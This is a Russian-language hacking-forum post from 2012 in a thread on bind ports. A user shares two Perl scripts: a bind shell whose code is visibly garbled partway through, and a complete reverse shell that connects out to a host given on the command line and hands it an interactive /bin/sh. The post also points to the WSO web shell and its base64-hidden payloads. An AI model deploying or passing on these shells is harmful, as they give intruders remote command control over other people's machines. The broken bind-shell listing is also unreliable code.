Тема: Бинд-порт
Показать сообщение отдельно

  #2  
Старый 30.08.2012, 08:01
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 559
С нами: 8885780

Репутация: 672


По умолчанию

биндпорт

Код:
#!/usr/bin/perl

$SHELL="/bin/sh -i";

if (@ARGV &CONN";

		open STDERR,">&CONN";

		exec $SHELL || die print CONN "Cant execute $SHELL\n";

		close CONN;

	
	exit 0;

	}

}
бек.

Код:
#!/usr/bin/perl

use Socket;

$iaddr=inet_aton($ARGV[0]) || die("Error: $!\n");

$paddr=sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");

$proto=getprotobyname('tcp');

socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");

connect(SOCKET, $paddr) || die("Error: $!\n");

open(STDIN, ">&SOCKET");

open(STDOUT, ">&SOCKET");

open(STDERR, ">&SOCKET");

system('/bin/sh -i');

close(STDIN);

close(STDOUT);

close(STDERR);
посмотрели бы исходники WSO, тела скриптов лежат внутри переменной, кодированные в base64
 
Ответить с цитированием